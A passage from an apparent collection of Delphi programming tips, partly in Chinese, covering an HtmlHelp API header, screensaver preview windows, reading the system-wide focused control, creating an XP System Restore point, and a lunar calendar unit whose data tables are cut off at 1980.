HHWIN_TB_MARGIN = (1 shl 28); // the window type has a margin

HHWIN_PARAM_PROPERTIES = (1 shl 1); // valid fsWinProperties

HHWIN_PARAM_STYLES = (1 shl 2); // valid dwStyles

HHWIN_PARAM_EXSTYLES = (1 shl 3); // valid dwExStyles

HHWIN_PARAM_RECT = (1 shl 4); // valid rcWindowPos

HHWIN_PARAM_NAV_WIDTH = (1 shl 5); // valid iNavWidth

HHWIN_PARAM_SHOWSTATE = (1 shl 6); // valid nShowState

HHWIN_PARAM_INFOTYPES = (1 shl 7); // valid apInfoTypes

HHWIN_PARAM_TB_FLAGS = (1 shl 8); // valid fsToolBarFlags

HHWIN_PARAM_EXPANSION = (1 shl 9); // valid fNotExpanded

HHWIN_PARAM_TABPOS = (1 shl 10); // valid tabpos

HHWIN_PARAM_TABORDER = (1 shl 11); // valid taborder

HHWIN_PARAM_HISTORY_COUNT = (1 shl 12); // valid cHistory

HHWIN_PARAM_CUR_TAB = (1 shl 13); // valid curNavType

HHWIN_BUTTON_EXPAND = (1 shl 1); // Expand/contract button

HHWIN_BUTTON_BACK = (1 shl 2); // Back button

HHWIN_BUTTON_FORWARD = (1 shl 3); // Forward button

HHWIN_BUTTON_STOP = (1 shl 4); // Stop button

HHWIN_BUTTON_REFRESH = (1 shl 5); // Refresh button

HHWIN_BUTTON_HOME = (1 shl 6); // Home button

HHWIN_BUTTON_BROWSE_FWD = (1 shl 7); // not implemented

HHWIN_BUTTON_BROWSE_BCK = (1 shl 8); // not implemented

HHWIN_BUTTON_NOTES = (1 shl 9); // not implemented

HHWIN_BUTTON_CONTENTS = (1 shl 10); // not implemented

HHWIN_BUTTON_SYNC = (1 shl 11); // Sync button

HHWIN_BUTTON_OPTIONS = (1 shl 12); // Options button

HHWIN_BUTTON_PRINT = (1 shl 13); // Print button

HHWIN_BUTTON_INDEX = (1 shl 14); // not implemented

HHWIN_BUTTON_SEARCH = (1 shl 15); // not implemented

HHWIN_BUTTON_HISTORY = (1 shl 16); // not implemented

HHWIN_BUTTON_FAVORITES = (1 shl 17); // not implemented

HHWIN_BUTTON_JUMP1 = (1 shl 18);

HHWIN_BUTTON_JUMP2 = (1 shl 19);

HHWIN_BUTTON_ZOOM = (1 shl 20);

HHWIN_BUTTON_TOC_NEXT = (1 shl 21);

HHWIN_BUTTON_TOC_PREV = (1 shl 22);

HHWIN_DEF_BUTTONS = HHWIN_BUTTON_EXPAND

or HHWIN_BUTTON_BACK

or HHWIN_BUTTON_OPTIONS

or HHWIN_BUTTON_PRINT;

// Button IDs

IDTB_EXPAND = 200;

IDTB_CONTRACT = 201;

IDTB_STOP = 202;

IDTB_REFRESH = 203;

IDTB_BACK = 204;

IDTB_HOME = 205;

IDTB_SYNC = 206;

IDTB_PRINT = 207;

IDTB_OPTIONS = 208;

IDTB_FORWARD = 209;

IDTB_NOTES = 210; // not implemented

IDTB_BROWSE_FWD = 211;

IDTB_BROWSE_BACK = 212;

IDTB_CONTENTS = 213; // not implemented

IDTB_INDEX = 214; // not implemented

IDTB_SEARCH = 215; // not implemented

IDTB_HISTORY = 216; // not implemented

IDTB_FAVORITES = 217; // not implemented

IDTB_JUMP1 = 218;

IDTB_JUMP2 = 219;

IDTB_CUSTOMIZE = 221;

IDTB_ZOOM = 222;

IDTB_TOC_NEXT = 223;

IDTB_TOC_PREV = 224;

// Notification codes

HHN_FIRST = (0-860);

HHN_LAST = (0-879);

HHN_NAVCOMPLETE = (HHN_FIRST-0);

HHN_TRACK = (HHN_FIRST-1);

HHN_WINDOW_CREATE =(HHN_FIRST-2);

type

tagHHN_NOTIFY = record

hdr : NMHDR;

pszUrl: PChar; // Multi-byte, null-terminated string

end;

HHN_NOTIFY = tagHHN_NOTIFY;

tagHH_POPUP = record

cbStruct: integer; // sizeof this structure

hinst: longint; // instance handle for string resource

idString: UINT; // string resource id, or text id if pszFile is specified in HtmlHelp call

pszText: LPCTSTR; // used if idString is zero

pt: TPOINT; // top center of popup window

clrForeground: COLORREF; // use -1 for default

clrBackground: COLORREF; // use -1 for default

rcMargins: TRECT; // amount of space between edges of window and text, -1 for each member to ignore

pszFont: LPCTSTR; // facename, point size, char set, BOLD ITALIC UNDERLINE

end;

HH_POPUP = tagHH_POPUP;

tagHH_AKLINK = record

cbStruct: integer; // sizeof this structure

fReserved: BOOL; // must be FALSE (really!)

pszKeywords: LPCTSTR; // semi-colon separated keywords

pszUrl: LPCTSTR; // URL to jump to if no keywords found (may be NULL)

pszMsgText: LPCTSTR; // Message text to display in MessageBox if pszUrl is NULL and no keyword match

pszMsgTitle: LPCTSTR; // Message text to display in MessageBox if pszUrl is NULL and no keyword match

pszWindow: LPCTSTR; // Window to display URL in

fIndexOnFail:BOOL; // Displays index if keyword lookup fails.

end;

HH_AKLINK = tagHH_AKLINK;

const

HHWIN_NAVTYPE_TOC = 0;

HHWIN_NAVTYPE_INDEX = 1;

HHWIN_NAVTYPE_SEARCH = 2;

HHWIN_NAVTYPE_FAVORITES = 3;

HHWIN_NAVTYPE_HISTORY = 4; // not implemented

HHWIN_NAVTYPE_AUTHOR = 5;

HHWIN_NAVTYPE_CUSTOM_FIRST = 11;

IT_INCLUSIVE = 0;

IT_EXCLUSIVE = 1;

IT_HIDDEN = 2;

type

tagHH_ENUM_IT=record

cbStruct : integer; // size of this structure

iType: integer; // the type of the information type ie. Inclusive, Exclusive, or Hidden

pszCatName: LPCSTR; // Set to the name of the Category to enumerate the info types in a category; else NULL

pszITName: LPCSTR; // volitile pointer to the name of the infotype. Allocated by call. Caller responsible for freeing

pszITDescription:LPCSTR; // volitile pointer to the description of the infotype.

end;

HH_ENUM_IT = tagHH_ENUM_IT;

PHH_ENUM_IT = ^tagHH_ENUM_IT;

tagHH_ENUM_CAT = record

cbStruct: integer; // size of this structure

pszCatName: LPCSTR; // volitile pointer to the category name

pszCatDescription: LPCSTR; // volitile pointer to the category description

end;

HH_ENUM_CAT = tagHH_ENUM_CAT;

PHH_ENUM_CAT = ^tagHH_ENUM_CAT;

tagHH_SET_INFOTYPE = record

cbStruct: integer; // the size of this structure

pszCatName: LPCSTR ; // the name of the category, if any, the InfoType is a member of.

pszInfoTypeName: LPCSTR ; // the name of the info type to add to the filter

end;

HH_SET_INFOTYPE = tagHH_SET_INFOTYPE;

PHH_SET_INFOTYPE = ^tagHH_SET_INFOTYPE;

HH_INFOTYPE = DWORD;

PHH_INFOTYPE = ^HH_INFOTYPE;

const

HHWIN_NAVTAB_TOP = 0;

HHWIN_NAVTAB_LEFT = 1;

HHWIN_NAVTAB_BOTTOM = 2;

HH_MAX_TABS = 19; // maximum number of tabs

HH_TAB_CONTENTS = 0;

HH_TAB_INDEX = 1;

HH_TAB_SEARCH = 2;

HH_TAB_FAVORITES = 3;

HH_TAB_HISTORY = 4;

HH_TAB_AUTHOR = 5;

HH_TAB_CUSTOM_FIRST = 11;

HH_TAB_CUSTOM_LAST = HH_MAX_TABS;

HH_MAX_TABS_CUSTOM = HH_TAB_CUSTOM_LAST - HH_TAB_CUSTOM_FIRST + 1;

// HH_DISPLAY_SEARCH Command Related Structures and Constants

HH_FTS_DEFAULT_PROXIMITY = -1;

type

tagHH_FTS_QUERY=record

cbStruct: integer; // Sizeof structure in bytes.

fUniCodeStrings: BOOL; // TRUE if all strings are unicode.

pszSearchQuery: LPCTSTR;// String containing the search query.

iProximity: LongInt; // Word proximity.

fStemmedSearch: BOOL; // TRUE for StemmedSearch only.

fTitleOnly: BOOL; // TRUE for Title search only.

fExecute: BOOL; // TRUE to initiate the search.

pszWindow: LPCTSTR;// Window to display in

end;

HH_FTS_QUERY = tagHH_FTS_QUERY;

// HH_WINTYPE Structure

tagHH_WINTYPE =record

cbStruct: integer; // IN: size of this structure including all Information Types

fUniCodeStrings: BOOL; // IN/OUT: TRUE if all strings are in UNICODE

pszType: LPCTSTR; // IN/OUT: Name of a type of window

fsValidMembers: DWORD; // IN: Bit flag of valid members (HHWIN_PARAM_)

fsWinProperties: DWORD; // IN/OUT: Properties/attributes of the window (HHWIN_)

pszCaption: LPCTSTR; // IN/OUT: Window title

dwStyles: DWORD; // IN/OUT: Window styles

dwExStyles: DWORD; // IN/OUT: Extended Window styles

rcWindowPos: TRECT; // IN: Starting position, OUT: current position

nShowState: integer; // IN: show state (e.g., SW_SHOW)

hwndHelp: HWND; // OUT: window handle

hwndCaller: HWND; // OUT: who called this window

paInfoTypes: ^HH_INFOTYPE; // IN: Pointer to an array of Information Types

// The following members are only valid if HHWIN_PROP_TRI_PANE is set

hwndToolBar: HWND; // OUT: toolbar window in tri-pane window

hwndNavigation: HWND; // OUT: navigation window in tri-pane window

hwndHTML: HWND; // OUT: window displaying HTML in tri-pane window

iNavWidth: integer; // IN/OUT: width of navigation window

rcHTML: TRECT; // OUT: HTML window coordinates

pszToc: LPCTSTR; // IN: Location of the table of contents file

pszIndex: LPCTSTR; // IN: Location of the index file

pszFile: LPCTSTR; // IN: Default location of the html file

pszHome: LPCTSTR; // IN/OUT: html file to display when Home button is clicked

fsToolBarFlags: DWORD; // IN: flags controling the appearance of the toolbar

fNotExpanded: BOOL; // IN: TRUE/FALSE to contract or expand, OUT: current state

curNavType: integer; // IN/OUT: UI to display in the navigational pane

tabpos: integer; // IN/OUT: HHWIN_NAVTAB_TOP, HHWIN_NAVTAB_LEFT, or HHWIN_NAVTAB_BOTTOM

idNotify: integer; // IN: ID to use for WM_NOTIFY messages

tabOrder: array[0..HH_MAX_TABS]of BYTE; // IN/OUT: tab order: Contents, Index, Search, History, Favorites, Reserved 1-5, Custom tabs

cHistory: integer; // IN/OUT: number of history items to keep (default is 30)

pszJump1: LPCTSTR; // Text for HHWIN_BUTTON_JUMP1

pszJump2: LPCTSTR; // Text for HHWIN_BUTTON_JUMP2

pszUrlJump1: LPCTSTR; // URL for HHWIN_BUTTON_JUMP1

pszUrlJump2: LPCTSTR; // URL for HHWIN_BUTTON_JUMP2

rcMinSize: TRECT; // Minimum size for window (ignored in version 1)

cbInfoTypes: integer; // size of paInfoTypes:

pszCustomTabs: LPCTSTR; // multiple zero-terminated strings

end;

HH_WINTYPE = tagHH_WINTYPE;

PHH_WINTYPE = ^tagHH_WINTYPE;

THHACT = (

HHACT_TAB_CONTENTS,

HHACT_TAB_INDEX,

HHACT_TAB_SEARCH,

HHACT_TAB_HISTORY,

HHACT_TAB_FAVORITES,

HHACT_EXPAND,

HHACT_CONTRACT,

HHACT_BACK,

HHACT_FORWARD,

HHACT_STOP,

HHACT_REFRESH,

HHACT_HOME,

HHACT_SYNC,

HHACT_OPTIONS,

HHACT_PRINT,

HHACT_HIGHLIGHT,

HHACT_CUSTOMIZE,

HHACT_JUMP1,

HHACT_JUMP2,

HHACT_ZOOM,

HHACT_TOC_NEXT,

HHACT_TOC_PREV,

HHACT_NOTES,

HHACT_LAST_ENUM

);

tagHHNTRACK=record

hdr: NMHDR;

pszCurUrl: PChar; // Multi-byte, null-terminated string

idAction: integer; // HHACT_ value

phhWinType: ^HH_WINTYPE; // Current window type structure

end;

HHNTRACK = tagHHNTRACK;

const

// Use the following for GetProcAddress to load from hhctrl.ocx

ATOM_HTMLHELP_API_ANSI = PChar(DWORD(WORD(14)));

ATOM_HTMLHELP_API_UNICODE = PChar(DWORD(WORD(15)));

///////////////////////////////////////////////////////////////////////////////

//

// Global Control Properties.

//

// tagHH_GPROPID = (

const

HH_GPROPID_SINGLETHREAD =1; // VARIANT_BOOL: True for single thread

HH_GPROPID_TOOLBAR_MARGIN =2; // long: Provides a left/right margin around the toolbar.

HH_GPROPID_UI_LANGUAGE =3; // long: LangId of the UI.

HH_GPROPID_CURRENT_SUBSET =4; // BSTR: Current subset.

HH_GPROPID_CONTENT_LANGUAGE =5; // long: LandId for desired content.

// );

// HH_GPROPID = tagHH_GPROPID;

type

HH_GPROPID = integer;

///////////////////////////////////////////////////////////////////////////////

//

// Global Property structure

//

tagHH_GLOBAL_PROPERTY=record

id: HH_GPROPID;

vari: Variant;

end;

HH_GLOBAL_PROPERTY = tagHH_GLOBAL_PROPERTY;

DWORD_PTR = ^DWORD;

THTMLHelpA = function (hwndCaller: HWND; pszFile: LPCSTR;

uCommand:DWORD; dwData: DWORD): HWND; stdcall;

THtmlHelpW = function (hwndCaller: HWND; pszFile: PWideChar;

uCommand:DWORD; dwData: DWORD): HWND; stdcall;

{$IFDEF UNICODE}

THTMLHelp = THTMLHelpW;

{$ELSE}

THTMLHelp = THTMLHelpA;

{$ENDIF}

function HTMLHelpA(hwndCaller: HWND; pszFile: LPCSTR;

uCommand: DWORD; dwData: DWORD): HWND; stdcall;

function HtmlHelpW(hwndCaller: HWND; pszFile: PWideChar;

uCommand: DWORD; dwData: DWORD): HWND; stdcall;

{$IFDEF UNICODE}

function HtmlHelp(hwndCaller: HWND; pszFile: PWideChar;

uCommand: DWORD; dwData: DWORD): HWND; stdcall;

{$ELSE}

function HTMLHelp(hwndCaller: HWND; pszFile: LPCSTR;

uCommand: DWORD; dwData: DWORD): HWND; stdcall;

{$ENDIF}

function HTMLHelpOK: Boolean;

implementation

var

hHHCtrlLib: THandle;

pHTMLHelpA: THTMLHelpA;

pHTMLHelpW: THTMLHelpW;

pHTMLHelp : THTMLHelp;

function HTMLHelpOK: Boolean;

begin

Result := hHHCtrlLib <> 0;

end;

function HTMLHelpA(hwndCaller:HWND; pszFile: LPCSTR;

uCommand:DWORD; dwData: DWORD):HWND;

begin

if Assigned(pHTMLHelpA) then

Result := pHTMLHelpA(hwndCaller, pszFile, uCommand, dwData)

else

Result := 0;

end;

function HtmlHelpW(hwndCaller : HWND; pszFile: PWideChar;

uCommand: DWORD; dwData : DWORD) : HWND;

begin

if Assigned(pHTMLHelpW) then

Result := pHTMLHelpW(hwndCaller, pszFile, uCommand, dwData)

else

Result := 0;

end;

{$IFDEF UNICODE}

function HtmlHelp(hwndCaller : HWND; pszFile: PWideChar;

uCommand: DWORD; dwData : DWORD) : HWND;

{$ELSE}

function HTMLHelp(hwndCaller:HWND; pszFile: LPCSTR;

uCommand:DWORD; dwData: DWORD):HWND;

{$ENDIF}

begin

if Assigned(pHTMLHelp) then

Result := pHTMLHelp(hwndCaller, pszFile, uCommand, dwData)

else

Result := 0;

end;

initialization

begin

hHHCtrlLib := LoadLibrary('HHCtrl.ocx');

if HTMLHelpOK then begin

pHTMLHelpA := GetProcAddress(hHHCtrlLib, 'HtmlHelpA');

pHTMLHelpW := GetProcAddress(hHHCtrlLib, 'HtmlHelpW');

{$IFDEF UNICODE}

pHtmlHelp := pHTMLHelpW;

{$ELSE}

pHtmlHelp := pHTMLHelpA;

{$ENDIF}

end;

end;

finalization

begin

if HTMLHelpOK then FreeLibrary(hHHCtrlLib);

end;

end.


屏幕保护的预览
/p 后面跟的是预览窗口的局柄，不是hdc，所以你需要利用GetClientRect 获得该窗口

的坐标，然后设定你自己窗口的Style为 WS_CHILD 。然后利用Setparent将自己的预览

窗口设定为系统提供给你的窗口局柄。然后利用SetWindowsPos将自己窗体的位置设定

到你获得的系统预览窗口的位置。


整个系统中的焦点控件
get the focus systemwide?

function GetSysFocus: Integer;

var

hFgWin, FgThreadID, hFocusWin: Integer;

begin

hFgWin := GetForegroundWindow;

FgThreadID := GetWindowThreadProcessID(hFgWin, nil);

if AttachThreadInput(GetCurrentThreadID, FgThreadID, True) then

begin

hFocusWin := GetFocus;

Result := GetFocus;

AttachThreadInput(GetCurrentThreadID, FgThreadID, False);

end

else

Result := GetFocus;

end;


创建一个系统返回点(XP)
...create a System Restore point (XP)?

Author: Thomas Stutz

Homepage: http://www.swissdelphicenter.com

{

If you haven't installed the Microsoft Scripting Control yet

(TScriptControl component),

download it from http://www.msdn.microsoft.com/scripting/

Once you've downloaded and run the installation, start Delphi and go to the

Component | Import ActiveX Control... menu.

Select "Microsoft Script Control 1.0" from the Listbox amd click "Install"

to install the component into Delphi's palette.

What you should end up with now is a TScriptControl component on your ActiveX tab.

Start a new application, and drop a TButton, and a TScriptControl onto the main form.

In the OnClick event of Button1, put the following code:

}

procedure TForm1.Button1Click(Sender: TObject);

var

sr: OLEVAriant;

begin

ScriptControl1.Language := 'VBScript';

sr := ScriptControl1.Eval('getobject("winmgmts:\\.\root\default:Systemrestore")');

if sr.CreateRestorePoint('Automatic Restore Point', 0, 100) = 0 then

ShowMessage('New Restore Point successfully created.')

else

ShowMessage('Restore Point creation Failed!');

end;


农历算法
我听说，好像农历只能查表，不能用公式算的。

好像是历法设计上有问题。

csdn上的那个算法我贴在下面。

unit Calendar;

interface

uses SysUtils,Windows;

const

START_YEAR=1901;

END_YEAR=2050;

///==> function IsLeapYear(Year: Word): Boolean;

///计算iYear,iMonth,iDay对应是星期几 1年1月1日 --- 65535年12月31日

function WeekDay(iYear,iMonth,iDay:Word):Integer;

///==> function DayOfWeek(Date: TDateTime): Integer;

///计算指定日期的周数，周0为新年开始后第一个星期天开始的周

function WeekNum(const TDT:TDateTime):Word;overload;

function WeekNum(const iYear,iMonth,iDay:Word):Word;overload;

///返回iYear年iMonth月的天数 1年1月 --- 65535年12月

function MonthDays(iYear,iMonth:Word):Word;

///返回阴历iLunarYer年阴历iLunarMonth月的天数，如果iLunarMonth为闰月，

///高字为第二个iLunarMonth月的天数，否则高字为0

///1901年1月---2050年12月

function LunarMonthDays(iLunarYear,iLunarMonth:Word):Longword;

///返回阴历iLunarYear年的总天数

///1901年1月---2050年12月

function LunarYearDays(iLunarYear:Word):Word;

///返回阴历iLunarYear年的闰月月份，如没有返回0

///1901年1月---2050年12月

function GetLeapMonth(iLunarYear:Word):Word;

///把iYear年格式化成天干记年法表示的字符串

procedure FormatLunarYear(iYear:Word;var pBuffer:string);overload;

function FormatLunarYear(iYear:Word):string;overload;

///把iMonth格式化成中文字符串

procedure FormatMonth(iMonth:Word;var

pBuffer:string;bLunar:Boolean=True);overload;

function FormatMonth(iMonth:Word;bLunar:Boolean=True):string;overload;

///把iDay格式化成中文字符串

procedure FormatLunarDay(iDay:Word;var pBuffer:string);overload;

function FormatLunarDay(iDay:Word):string;overload;

///计算公历两个日期间相差的天数 1年1月1日 --- 65535年12月31日

function

CalcDateDiff(iEndYear,iEndMonth,iEndDay:Word;iStartYear:Word=START_YEAR;iSta

rtMonth:Word=1;iStartDay:Word=1):Longword;overload;

function CalcDateDiff(EndDate,StartDate:TDateTime):Longword;overload;

///计算公历iYear年iMonth月iDay日对应的阴历日期,返回对应的阴历节气 0-24

///1901年1月1日---2050年12月31日

function GetLunarDate(iYear,iMonth,iDay:Word;var

iLunarYear,iLunarMonth,iLunarDay:Word):Word;overload;

procedure GetLunarDate(InDate:TDateTime;var

iLunarYear,iLunarMonth,iLunarDay:Word);overload;

function GetLunarHolDay(InDate:TDateTime):string;overload;

function GetLunarHolDay(iYear,iMonth,iDay:Word):string;overload;

///private function--------------------------------------

///计算从1901年1月1日过iSpanDays天后的阴历日期

procedure l_CalcLunarDate(var iYear,iMonth,iDay:Word;iSpanDays:Longword);

///计算公历iYear年iMonth月iDay日对应的节气 0-24，0表不是节气

function l_GetLunarHolDay(iYear,iMonth,iDay:Word):Word;

implementation

var

///数组gLunarDay存入阴历1901年到2100年每年中的月天数信息，

///阴历每月只能是29或30天，一年用12（或13）个二进制位表示，对应位为1表30天，

否则为29天

gLunarMonthDay:array[0..149] of Word=(

///测试数据只有1901.1.1 --2050.12.31

$4ae0, $a570, $5268, $d260, $d950, $6aa8, $56a0, $9ad0, $4ae8, $4ae0,

///1910

$a4d8, $a4d0, $d250, $d548, $b550, $56a0, $96d0, $95b0, $49b8, $49b0,

///1920

$a4b0, $b258, $6a50, $6d40, $ada8, $2b60, $9570, $4978, $4970, $64b0,

///1930

$d4a0, $ea50, $6d48, $5ad0, $2b60, $9370, $92e0, $c968, $c950, $d4a0,

///1940

$da50, $b550, $56a0, $aad8, $25d0, $92d0, $c958, $a950, $b4a8, $6ca0,

///1950

$b550, $55a8, $4da0, $a5b0, $52b8, $52b0, $a950, $e950, $6aa0, $ad50,

///1960

$ab50, $4b60, $a570, $a570, $5260, $e930, $d950, $5aa8, $56a0, $96d0,

///1970

$4ae8, $4ad0, $a4d0, $d268, $d250, $d528, $b540, $b6a0, $96d0, $95b0,

///1980

$49b0, $a4b8, $a4b0, $b258, $6a50, $6d40, $ada0, $ab60, $9370, $4978,

///1990

$4970, $64b0, $6a50, $ea50, $6b28, $5ac0, $ab60, $9368, $92e0, $c960,

///2000

$d4a8, $d4a0, $da50, $5aa8, $56a0, $aad8, $25d0, $92d0, $c958, $a950,

///2010

$b4a0, $b550, $b550, $55a8, $4ba0, $a5b0, $52b8, $52b0, $a930, $74a8,

///2020

$6aa0, $ad50, $4da8, $4b60, $9570, $a4e0, $d260, $e930, $d530, $5aa0,

///2030

$6b50, $96d0, $4ae8, $4ad0, $a4d0, $d258, $d250, $d520, $daa0, $b5a0,

///2040

$56d0, $4ad8, $49b0, $a4b8, $a4b0, $aa50, $b528, $6d20, $ada0, $55b0);

///2050

///数组gLanarMonth存放阴历1901年到2050年闰月的月份，如没有则为0，每字节存两年

gLunarMonth:array[0..74] of Byte=(

$00, $50, $04, $00, $20, ///1910

$60, $05, $00, $20, $70, ///1920

$05, $00, $40, $02, $06, ///1930

$00, $50, $03, $07, $00, ///1940

$60, $04, $00, $20, $70, ///1950

$05, $00, $30, $80, $06, ///1960

$00, $40, $03, $07, $00, ///1970

$50, $04, $08, $00, $60, ///1980

$04, $0a, $00, $60, $05, ///1990

$00, $30, $80, $05, $00, ///2000

$40, $02, $07, $00, $50, ///2010

$04, $09, $00, $60, $04, ///2020

$00, $20, $60, $05, $00, ///2030

$30, $b0, $06, $00, $50, ///2040

$02, $07, $00, $50, $03); ///2050

///数组gLanarHoliDay存放每年的二十四节气对应的阳历日期

///每年的二十四节气对应的阳历日期几乎固定，平均分布于十二个月中

/////1月 2月 3月 4月 5月 6月

///小寒 大寒 立春 雨水 惊蛰 春分 清明 谷雨 立夏 小满 芒种 夏至

/////7月 8月 9月 10月 11月 12月

///小暑 大暑 立秋 处暑 白露 秋分 寒露 霜降 立冬 小雪 大雪 冬至

{***************************************************************************

******

节气无任何确定规律,所以只好存表,要节省空间,所以....

****************************************************************************

******}

///数据格式说明:

///如1901年的节气为

////1月 2月 3月 4月 5月 6月 7月 8月 9月 10月 11月

12月

///6, 21, 4, 19, 6, 21, 5, 21, 6,22, 6,22, 8, 23, 8, 24, 8, 24, 8, 24, 8,

23, 8, 22

///9, 6, 11,4, 9, 6, 10,6, 9,7, 9,7, 7, 8, 7, 9, 7, 9, 7, 9, 7,

8, 7, 15

///上面第一行数据为每月节气对应日期,15减去每月第一个节气,每月第二个节气减去15

得第二行

///这样每月两个节气对应数据都小于16,每月用一个字节存放,高位存放第一个节气数

据,低位存放

///第二个节气的数据,可得下表

gLunarHolDay:array[0..1799] of Byte=(

$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, ///1901

$96, $A4, $96, $96, $97, $87, $79, $79, $79, $69, $78, $78, ///1902

$96, $A5, $87, $96, $87, $87, $79, $69, $69, $69, $78, $78, ///1903

$86, $A5, $96, $A5, $96, $97, $88, $78, $78, $79, $78, $87, ///1904

$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, ///1905

$96, $A4, $96, $96, $97, $97, $79, $79, $79, $69, $78, $78, ///1906

$96, $A5, $87, $96, $87, $87, $79, $69, $69, $69, $78, $78, ///1907

$86, $A5, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, ///1908

$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, ///1909

$96, $A4, $96, $96, $97, $97, $79, $79, $79, $69, $78, $78, ///1910

$96, $A5, $87, $96, $87, $87, $79, $69, $69, $69, $78, $78, ///1911

$86, $A5, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, ///1912

$95, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, ///1913

$96, $B4, $96, $A6, $97, $97, $79, $79, $79, $69, $78, $78, ///1914

$96, $A5, $97, $96, $97, $87, $79, $79, $69, $69, $78, $78, ///1915

$96, $A5, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, ///1916

$95, $B4, $96, $A6, $96, $97, $78, $79, $78, $69, $78, $87, ///1917

$96, $B4, $96, $A6, $97, $97, $79, $79, $79, $69, $78, $77, ///1918

$96, $A5, $97, $96, $97, $87, $79, $79, $69, $69, $78, $78, ///1919

$96, $A5, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, ///1920

$95, $B4, $96, $A5, $96, $97, $78, $79, $78, $69, $78, $87, ///1921

$96, $B4, $96, $A6, $97, $97, $79, $79, $79, $69, $78, $77, ///1922

$96, $A4, $96, $96, $97, $87, $79, $79, $69, $69, $78, $78, ///1923

$96, $A5, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, ///1924

$95, $B4, $96, $A5, $96, $97, $78, $79, $78, $69, $78, $87, ///1925

$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, ///1926

$96, $A4, $96, $96, $97, $87, $79, $79, $79, $69, $78, $78, ///1927

$96, $A5, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, ///1928

$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, ///1929

$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, ///1930

$96, $A4, $96, $96, $97, $87, $79, $79, $79, $69, $78, $78, ///1931

$96, $A5, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, ///1932

$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, ///1933

$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, ///1934

$96, $A4, $96, $96, $97, $97, $79, $79, $79, $69, $78, $78, ///1935

$96, $A5, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, ///1936

$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, ///1937

$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, ///1938

$96, $A4, $96, $96, $97, $97, $79, $79, $79, $69, $78, $78, ///1939

$96, $A5, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, ///1940

$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, ///1941

$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, ///1942

$96, $A4, $96, $96, $97, $97, $79, $79, $79, $69, $78, $78, ///1943

$96, $A5, $96, $A5, $A6, $96, $88, $78, $78, $78, $87, $87, ///1944

$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, ///1945

$95, $B4, $96, $A6, $97, $97, $78, $79, $78, $69, $78, $77, ///1946

$96, $B4, $96, $A6, $97, $97, $79, $79, $79, $69, $78, $78, ///1947

$96, $A5, $A6, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, ///1948

$A5, $B4, $96, $A5, $96, $97, $88, $79, $78, $79, $77, $87, ///1949

$95, $B4, $96, $A5, $96, $97, $78, $79, $78, $69, $78, $77, ///1950

$96, $B4, $96, $A6, $97, $97, $79, $79, $79, $69, $78, $78, ///1951

$96, $A5, $A6, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, ///1952

$A5, $B4, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, ///1953

$95, $B4, $96, $A5, $96, $97, $78, $79, $78, $68, $78, $87, ///1954

$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, ///1955

$96, $A5, $A5, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, ///1956

$A5, $B4, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, ///1957

$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, ///1958

$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, ///1959

$96, $A4, $A5, $A5, $A6, $96, $88, $88, $88, $78, $87, $87, ///1960

$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, ///1961

$96, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, ///1962

$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, ///1963

$96, $A4, $A5, $A5, $A6, $96, $88, $88, $88, $78, $87, $87, ///1964

$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, ///1965

$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, ///1966

$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, ///1967

$96, $A4, $A5, $A5, $A6, $A6, $88, $88, $88, $78, $87, $87, ///1968

$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, ///1969

$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, ///1970

$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, ///1971

$96, $A4, $A5, $A5, $A6, $A6, $88, $88, $88, $78, $87, $87, ///1972

$A5, $B5, $96, $A5, $A6, $96, $88, $78, $78, $78, $87, $87, ///1973

$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, ///1974

$96, $B4, $96, $A6, $97, $97, $78, $79, $78, $69, $78, $77, ///1975

$96, $A4, $A5, $B5, $A6, $A6, $88, $89, $88, $78, $87, $87, ///1976

$A5, $B4, $96, $A5, $96, $96, $88, $88, $78, $78, $87, $87, ///1977

$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $79, $78, $87, ///1978

$96, $B4, $96, $A6, $96, $97, $78, $79, $78, $69, $78, $77, ///1979

$96, $A4, $A5, $B5, $A6, $A6, $88, $88, $88, $78, $87, $87, ///1980

